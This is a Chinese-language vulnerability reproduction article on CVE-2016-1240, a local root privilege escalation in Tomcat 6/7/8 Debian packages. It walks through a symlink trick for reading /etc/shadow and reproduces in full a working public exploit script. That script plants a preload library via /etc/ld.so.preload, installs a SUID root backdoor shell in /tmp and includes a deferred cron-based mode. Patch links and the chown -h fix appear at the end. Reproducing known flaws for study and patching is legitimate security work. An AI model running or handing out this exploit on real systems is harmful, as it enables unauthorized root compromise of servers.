前言
Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行。
Tomcat于2016年10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。而且该漏洞的利用难度并不大,受影响的用户需要特别关注。
漏洞分析
Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!
该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
171 # Run the catalina.sh script as a daemon
172 set +e
173 touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
174 chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
175 start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
176 -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
177 -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
178 status="$?"
179 set +a -e
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
漏洞影响范围
Tomcat 8 <= 8.0.36-2Tomcat 7 <= 7.0.70-2Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。
漏洞验证
在Windows系统里打开xshell,并连接上虚拟机的ubuntu系统,用tomcat7进行登录:
登陆成功,如下图所示:
接下来我们来验证是否可以利用:
当前的用户为tomcat7。这就是说我们能够更改所属用户为tomcat7的catalina.out这个log文件的内容和属性。
更改它的属性,让他指向/etc/shadow/文件夹下,现在我们创建一个指向 /etc/shadow 的符号链接。
使用命令ln -fs /etc/shadow /var/log/tomcat6/catalina.out,这时候就可以在/etc/shadow下创建一个链接,就相当于Windows的快捷方式一样。
此时catalina.out指向shadow文件,打开它相当于打开shadow。
此时我们查看文件cataline.out的内容,发现权限不够,禁止读取cataline.out的内容:
接下来转到root用户,重启tomcat,然后再转回tomcat,再次打开cataline.out文件,发现可以成功打开了,成功的查看到了本来需要root权限才能看到的 /etc/shadow 文件中的内容:
原理: 当Tomcat服务重启时,系统默认重新加载 /var/log/tomcat6/catalina.out脚本,由于此时tomcat的日志文件指向了 /etc/shadow文件; 而该文件就是我们之前创建的链接文件它此时的组权为root,而链接文件本身属于Tomcat7这个低权限用户,因此,tomcat7这个低权限的用户就可以利用catalina.out查看shadow中的内容了。
从此处可以验证出,利用catalina.out的漏洞,可以实现提权。
使用poc提权
使用vim编辑器,在/tmp目录下创建poc.sh文件,把预先准备好的poc文档内容复制进去:
Usage: ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] The exploit can used in two ways: -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)-deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. Attackers can come back at a later time and check on the /etc/default/locale file. Upon a Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can then add arbitrary commands to the file which will be executed with root privileges by the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default Ubuntu/Debian Tomcat installations).poc.sh
#!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE-2016-1240## Discovered and coded by:## Dawid Golunski# http://legalhackers.com## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload 2>/dev/null fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1}function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0}#intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"# Argsif [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3fiif [ "$2" = "-deferred" ]; then mode="deferred"else mode="active"fi# Priv checkecho -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"id | grep -q tomcatif [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3fi# Set target pathsTOMCATLOG="$1"if [ ! -f $TOMCATLOG ]; then echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" exit 3fiecho -e "\n[+] Target Tomcat log file set to $TOMCATLOG"# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges" echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;) \n\n" exit 0fi# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid();}_solibeof_gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2fi# Symlink the log file to ld.so.preloadrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOGif [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"# Wait for Tomcat to re-open the logsecho -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) "while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload break; fidone# /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo --help 2>/dev/null >/dev/null# Check for the rootshellls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"else echo -e "\n[!] Failed to get root" cleanexit 2fi# Execute the rootshellecho -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0
接着使用chmod命令修改文件的权限,chmod 755 表示 111 101 101 ,令该文件创建者拥有对文件的读取,写入,执行权限;其他用户可以读和执行该文件。接下来执行文件:
文件执行成功,此时正在等待tomcat7的重启,打开另一个终端,用root用户连接ubuntu目标机,重启tomcat7服务,重启之后,提权成功:
此时利用whoami命令和id命令可以看到tomcat7已经拥有了root用户的权限,本次漏洞复现完毕
漏洞修复
目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:
1、更新Tomcat服务器版本:
(1)针对Ubuntu公告链接 http://www.ubuntu.com/usn/usn-3081-1/
(2)针对Debian公告链接 https://lists.debian.org/debian-security-announce/2016/msg00249.html https://www.debian.org/security/2016/dsa-3669 https://www.debian.org/security/2016/dsa-3670
2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:
chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out